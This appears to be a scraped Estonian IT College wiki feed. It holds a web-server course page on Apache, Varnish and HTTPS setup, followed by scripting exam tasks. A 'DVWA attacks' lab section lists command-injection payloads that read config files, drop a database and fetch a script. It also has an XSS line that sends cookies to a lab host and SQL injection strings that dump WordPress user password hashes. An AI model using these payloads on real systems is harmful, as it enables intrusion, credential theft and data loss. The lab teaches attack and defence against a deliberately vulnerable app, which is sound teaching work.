                Options Indexes FollowSymLinks MultiViews&lt;br /&gt;
                AllowOverride All&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;
        &amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                Allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
&lt;br /&gt;
        # Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;
        # alert, emerg.&lt;br /&gt;
        LogLevel warn&lt;br /&gt;
&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
    Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;
    &amp;lt;Directory &amp;quot;/usr/share/doc/&amp;quot;&amp;gt;&lt;br /&gt;
        Options Indexes MultiViews FollowSymLinks&lt;br /&gt;
        AllowOverride None&lt;br /&gt;
        Order deny,allow&lt;br /&gt;
        Deny from all&lt;br /&gt;
        Allow from 127.0.0.0/255.0.0.0 ::1/128&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pange tähele muudetud Directory seadeid.&lt;br /&gt;
&amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
AllowOverride All&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &#039;-1000&#039; &amp;gt; /proc/$(pidof mysqld)/oom_score_adj&lt;br /&gt;
a2enmod rewrite &lt;br /&gt;
a2enmod headers &lt;br /&gt;
a2enmod expires &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selle rea võib lisada alglaadimisel käivitatavasse faili &#039;&#039;/etc/rc.local&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paigaldage oma valitud cace plugin wordpressile.&lt;br /&gt;
&lt;br /&gt;
=Varnish=&lt;br /&gt;
Esmaselt tõstame apache2 porti 8080&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/apache2/ports.conf&lt;br /&gt;
NameVirtualHost *:8080&lt;br /&gt;
Listen 8080&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; default -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; wp -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; sales.planet.zz -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; www.planet.zz -i&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
grep &#039;:80&#039; *&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
netstat -lntp&lt;br /&gt;
&lt;br /&gt;
#installeerime varnish cache&lt;br /&gt;
apt-get install varnish&lt;br /&gt;
vim /etc/default/varnish&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DAEMON_OPTS=&amp;quot;-a :80 \&lt;br /&gt;
             -T localhost:6082 \&lt;br /&gt;
             -f /etc/varnish/default.vcl \&lt;br /&gt;
             -S /etc/varnish/secret \&lt;br /&gt;
             -s malloc,256m&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Faili /etc/varnish/default.vcl lisada X-Forwarded-For sedmine&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sub vcl_recv {&lt;br /&gt;
&lt;br /&gt;
  # Add a unique header containing the client address&lt;br /&gt;
&lt;br /&gt;
  remove req.http.X-Forwarded-For;&lt;br /&gt;
&lt;br /&gt;
  set    req.http.X-Forwarded-For = client.ip;&lt;br /&gt;
&lt;br /&gt;
  # [...]&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service varnish restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb seadistada apache veebiserver selliselt, et logis kasutatakse seda custom-logi formaati. Selleks tuleb avada soovitud veebiserveri konfiguratsioon asukohas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Avage soovitud veebiserveri konfiguratsioonifail. Antud näites kasutan &amp;quot;wp&amp;quot;-nimelist faili.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano wp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sinna tuleb kirjutada CustomLog&#039;i rea asemele&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb muuta apache2 konfiguratsiooni, kuhu tuleb seadistada varnishcombined logiformaat. Selleks liigu asukohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/conf.d/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee sinna uus fail nimega näiteks &#039;&#039;&#039;varnishlog.conf&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano varnishlog.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kirjuta sinna see rida&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LogFormat &amp;quot;%{X-Forwarded-For}i %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot;&amp;quot; varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee apache2 teenusele restart&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
=HTTPS konfigureerimine=&lt;br /&gt;
&lt;br /&gt;
ssh-keygen &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Generating public/private rsa key pair.&lt;br /&gt;
Enter file in which to save the key (/root/.ssh/id_rsa): /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enter passphrase (empty for no passphrase): &lt;br /&gt;
Enter same passphrase again: &lt;br /&gt;
Your identification has been saved in /etc/ssl/private/www.planet.zz.key.&lt;br /&gt;
Your public key has been saved in /etc/ssl/private/www.planet.zz.key.pub.&lt;br /&gt;
The key fingerprint is:&lt;br /&gt;
76:6e:6a:b4:1b:75:7e:39:18:12:59:ee:9c:4c:b9:ef root@server&lt;br /&gt;
The key&#039;s randomart image is:&lt;br /&gt;
+--[ RSA 2048]----+&lt;br /&gt;
|            .    |&lt;br /&gt;
|           + .   |&lt;br /&gt;
|          o +    |&lt;br /&gt;
|           * o   |&lt;br /&gt;
|        S + O    |&lt;br /&gt;
|       ..+ + + . |&lt;br /&gt;
|       ...o o =  |&lt;br /&gt;
|        o+   o . |&lt;br /&gt;
|       .o.    E  |&lt;br /&gt;
+-----------------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
openssl req -new -key /etc/ssl/private/www.planet.zz.key -out /root/www.planet.zz.req&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated&lt;br /&gt;
into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#039;.&#039;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [AU]:EE&lt;br /&gt;
State or Province Name (full name) [Some-State]:Harjumaa&lt;br /&gt;
Locality Name (eg, city) []:Tallinn&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Planet &lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:www.planet.zz&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sudo openssl x509 -req -days 3650 -in /root/www.planet.zz.req -signkey /etc/ssl/private/www.planet.zz.key -out /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=EE/ST=Harjumaa/L=Tallinn/O=Planet/OU=IT/CN=www.planet.zz&lt;br /&gt;
Getting Private key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-available/www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
Seal muuta sisu (sert, dokument root, keyfail)&lt;br /&gt;
&lt;br /&gt;
Lisa ServerName, Muuda DocumentRoot, Muuda SSLCertificateFile ja SSLCertificateKeyFile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ServerName      www.planet.zz&lt;br /&gt;
DocumentRoot /var/www/www.planet.zz&lt;br /&gt;
SSLCertificateFile    /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=ID kaart=&lt;br /&gt;
&lt;br /&gt;
[[ID kaardiga autentimine Apache2 veebiserveriga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
==cmd exec==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;/UUUU/&#039; ../../config/config.inc.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls -l &lt;br /&gt;
8.8.8.8; ls -l ../&lt;br /&gt;
8.8.8.8; ls -l ../../&lt;br /&gt;
#jne, kuni kõik failid/kataloogid on teada&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;//&#039;  ../../../../wordpress/wp-config.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loon faili kala /var/tmp kataloogi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; touch /var/tmp/kala.txt&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning kontrollin kas fail loodi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls /var/tmp/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kustutada andmebaas (eelnevalt uurida andmebaasi nime ning parooli):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;mysqladmin DROP dvwa -y;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kuvada failide infot:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;cat /etc/apache2/sites-enabled/www.planet.zz&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
skripti laadimine serverisse ning sellele käivitusbiti andmine:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; wget http://enos.itcollege.ee/~kloodus/osadmin/skript.sh -O /var/tmp/skript; chmod +x /var/tmp/skript/skript.sh&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution&#039;it (XSS auku pole leitud, ei saa kasutada, ...)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
; grep session.cookie_httponly /etc/php5/apache2/php.ini&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund:&lt;br /&gt;
* kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==XSS==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;var i=&#039;&amp;lt;img src=&amp;quot;http://192.168.56.101/&#039;+document.cookie+&#039;&amp;quot; /&amp;gt;&#039;; document.write(i);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==veel XSSi==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%3Cscript%3Evar+i%3D%27%3Cimg+src%3D%22http%3A%2F%2F192.168.56.101%2F%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%3B+document.write%28i%29%3B%3C%2Fscript%3E&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==SQLi==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
#blind&lt;br /&gt;
1&#039; union select BENCHMARK(100000000,ENCODE(&#039;hello&#039;,&#039;goodbye&#039;)),1; # --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2&#039; union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables;# --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # --&lt;br /&gt;
&lt;br /&gt;
4&#039; union select user_login,user_pass from wp.wp_users; #&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,concat(COLUMN_NAME,&#039;-&#039;,&#039;LISA&#039;) from information_schema.columns; #&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=GreenSQL firewall=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
dpkg -i greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
apt-get install -f&lt;br /&gt;
&lt;br /&gt;
#Modify existing virtualhost or create new virtualhost.&lt;br /&gt;
&lt;br /&gt;
cd /var/www/EXISTINGORNEW&lt;br /&gt;
ln -s /usr/share/greensql-fw/ greensql&lt;br /&gt;
&lt;br /&gt;
cd greensql&lt;br /&gt;
chmod 0777 templates_c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutajanimi veebiliidesel on &#039;&#039;&#039;admin&#039;&#039;&#039; ja parool &#039;&#039;&#039;pwd&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke DVWA config failis andmebaasi asukohta:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_server&#039; ] = &#039;127.0.0.1:3305&#039;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#lisage faili /etc/rc.local järgmine ride ENNE exit 0 rida&lt;br /&gt;
service greensql-fw start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=modsecurity=&lt;br /&gt;
==installeerimine==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==CRS==&lt;br /&gt;
https://github.com/SpiderLabs/owasp-modsecurity-crs&lt;br /&gt;
&lt;br /&gt;
=Apache2 tweaks=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
ServerSignature Off&lt;br /&gt;
ServerTokens Prod&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://chandank.com/webservers/apache/apache-web-server-hardening-security?start=3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Apache testimine ==&lt;br /&gt;
Lisaks ab&#039;le on olemas ka teisi utiliite:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Apache JMeter - http://jmeter.apache.org/download_jmeter.cgi &amp;lt;br&amp;gt;&lt;br /&gt;
2. httperf - http://www.hpl.hp.com/research/linux/httperf/download.php &amp;lt;br&amp;gt;&lt;br /&gt;
3. OpenWebLoad - http://openwebload.sourceforge.net/#download &amp;lt;br&amp;gt;&lt;br /&gt;
4. Allmon - https://code.google.com/p/allmon/downloads/list &amp;lt;br&amp;gt;&lt;br /&gt;
5. CLIF - http://clif.ow2.org/download/index.html &amp;lt;br&amp;gt;&lt;br /&gt;
6. curl-loader - http://sourceforge.net/projects/curl-loader/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
7. deluge(alates 2002 ei ole uusi versioone) - http://sourceforge.net/projects/deluge/ &amp;lt;br&amp;gt;&lt;br /&gt;
8. dieseltest(ainult windowsile ning pole uuendatud aastast 2001) - http://sourceforge.net/projects/dieseltest/ &amp;lt;br&amp;gt;&lt;br /&gt;
9. FWPTT - http://sourceforge.net/projects/fwptt/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
10. http_load - http://www.acme.com/software/http_load/ &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88071</id>
		<title>Skriptimiskeelte arvestustööd ja kontrolltööd</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88071"/>
		<updated>2015-04-07T07:41:36Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* BASH kontrolltöö 7. aprill 2015.a. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==BASH kontrolltöö 7. aprill 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. Sisendfail 2. Väljundfail&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et sisendfail on fail ja loetav. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kaks (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
* Skript loeb sisendfailist failide ja kataloogide nimekirja (näiteks kujul)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd&lt;br /&gt;
/etc/&lt;br /&gt;
/var/log&lt;br /&gt;
/sedapoleolemas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kirjutab väljundfaili failinime ja kas tegu oli failiga (FAIL) või kataloogoga (DIR). Lisaks kirjutab skript väljundfaili faili või kataloogi omaniku. Kui faili/kataloogi ei ole, siis kirjutab (not found). Tulpade eraldajateks on komad. Näiteväljund eelmise näite kohta.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd,FAIL,root&lt;br /&gt;
/etc/,DIR,root&lt;br /&gt;
/var/log,DIR,root&lt;br /&gt;
/sedapoleolemas,not found&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Arvestus 18.oktoober kaugõpe==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis laeb etteantud asukohast alla ühe faili ja kui fail on gz|tar, siis pakib vastava faili lahti teise parameetrina antud kausta (kui kausta pole, siis luuakse). Kui skriptil on kolmas parameeter, siis sätib kausta omanikuks kolmanda parameetri väärtuse ja kui skriptil on neljas parameeter, siis sätib kausta grupiks neljanda parameetri. Skript peab kontrollima, et käivitatakse root õigustes.&lt;br /&gt;
&lt;br /&gt;
./skript http://enos.itcollege.ee/~mernits/a/kala kaust kasutajanimi grupp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala2&lt;br /&gt;
&lt;br /&gt;
==Arvestus 7.november kaugõpe==&lt;br /&gt;
&lt;br /&gt;
NB: seda saab lahendada siis, kui bash kodutööd (failiteenus, veebiteenus või õppejõuga kokkulepitud kodutöö on saadetud). Lahendusi ootan 14:00-ks&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt 2 parameetrit 1. kasutajanimi 2. failinimi&lt;br /&gt;
&lt;br /&gt;
Skript peab kontrollima, et oleks kaks parameetrit, lisaks kasutaja peab olemas olema ja fail loetav. Kui tingimused pole täidetud, siis tuleb kasutajat teavitada ja väljuda veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Teise parameetrina antud failinimes on failide ja kataloogide nimekiri iga kirje eraldi real, nagu näiteks:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/var/kala&lt;br /&gt;
/var/kala/kala.txt&lt;br /&gt;
/var/kala/kala2.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript sätib kõikide failide omanikuks kasutaja, mis anti esimese parameetrina. Kataloogide puhul ei tohi omaniku muuta. St näites on esimene rida ilmselt kataloog (seda tuleb ise testida -d abil näiteks), siis esimese rea puhul ei tehta midagi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui faili/kataloogi ei ole, siis tuleb vastav fail/kataloog ise tekitada. Kui rea lõpus on / siis tuleb teha kataloog (kui pole) ja kui rida ei lõpe / märgiga siis tuleb luua fail, kui seda pole. Kui skript ise loob faile/katalooge, siis omanikuks/grupiks on käsurea esimene parameeter.&lt;br /&gt;
&lt;br /&gt;
==Arvestus 8.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. kasutajanimi 2. kausta nimi. Kui kasutajat/kausta ei ole või on vale arv parameetreid, siis tuleb töö katkestada veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Skript leiab teise käsurea parameetrina antud kasutast kõik kasutajale kuuluvad failid ja teeb nendele sümlingid, kus originaalfailinimele on ette lisatud kasutajanimi.&lt;br /&gt;
&lt;br /&gt;
Näiteks kasut oli /var ja seal oli kasutale audio kuuluv fail /var/kala.txt, siis luuakse sümlink /var/audiokala.txt, mis viitab failile /var/kala.txt-le.&lt;br /&gt;
&lt;br /&gt;
Lisaks tehakse igale kasutajale kuuluvale failile veel teine sümlink, kus failinime ette on liidetud faili md5 räsi.&lt;br /&gt;
&lt;br /&gt;
Näiteks /var/kala.txt-le mille sees on 000 viitab räsi /var/23ebe88c0224f4f4fc0b608216e98735kala.txt&lt;br /&gt;
&lt;br /&gt;
Ülesande tekst pange skriptile kaasa. Skript tuleb saata enne 14:00-i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 29.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. Serveri nimi või IP aadress, 2. failinimi, kus sees on URL ja otsitav string.&lt;br /&gt;
&lt;br /&gt;
Skript teeb käsurea parameeteriga antud serveri pihta GET päringuid, mis on teise argumendina antud failis ja otsib vastusena saadud lehelt samas failis antud otsitavat stringi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui string leitakse kirjutataks väljundisse:&lt;br /&gt;
&lt;br /&gt;
SERVER,URL,otsitavstring,kellaaeg (aasta, kuu, päev, tund, minut, sekund), OK või NOK&lt;br /&gt;
&lt;br /&gt;
näitefail:&lt;br /&gt;
&lt;br /&gt;
/index.html,itcollege.ee&lt;br /&gt;
&lt;br /&gt;
/kama/index.html,Siin ei ole kama&lt;br /&gt;
&lt;br /&gt;
==Bash arvestus 31. jaanuar 2015.a. kaugõpe==&lt;br /&gt;
Loo skript, mis saab viis käsurea parameetrit. 1. kasutajanimi, 2. failinimi, 3. grupinimi, 4. kataloogi nimi, 5. pakinimi&lt;br /&gt;
&lt;br /&gt;
1. Skript kontrollib, kas kasutaja on olemas. Kui pole siis exit 1&lt;br /&gt;
&lt;br /&gt;
2. Skript kontrollib, kas grupp on olemas. Kui pole, siis loob&lt;br /&gt;
&lt;br /&gt;
3. Skript kontrollib, kas käsurealt antud failinimi on olemas, kui pole, siis loob. Skript määrab faili kasutajaks antud kasutaja ja grupiks antud grupi&lt;br /&gt;
&lt;br /&gt;
4. Skript kontrollib, kas antud kataloog on olemas ja kui on, siis kopeerib /var/log/ kaustast kõik .log laiendiga failid sinna kausta&lt;br /&gt;
&lt;br /&gt;
5. Skript kontrollib, kas antud pakk on paigaldatud ja ütleb kasutajale, kas pakk on paigaldatud või ei ole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python arvestustöö kaubõppele 31. jaanuar 2015.a.==&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõik sisendfaili erinevad sõnad ja kirjutab tulemuse väljundfaili kujul.&lt;br /&gt;
&lt;br /&gt;
SÕNA,MITU,PROTSENT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Näiteks failis on neli sõna:&lt;br /&gt;
siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Väljund on:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
siin,1,0.25&lt;br /&gt;
ei,1,0,25&lt;br /&gt;
ole,1,0.25&lt;br /&gt;
kala,1,0.25&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestustöö neile, kellel python kodutöö on saadetud. Arvestus tuleb saata hiljemalt esmaspäeval 22.detsembril==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
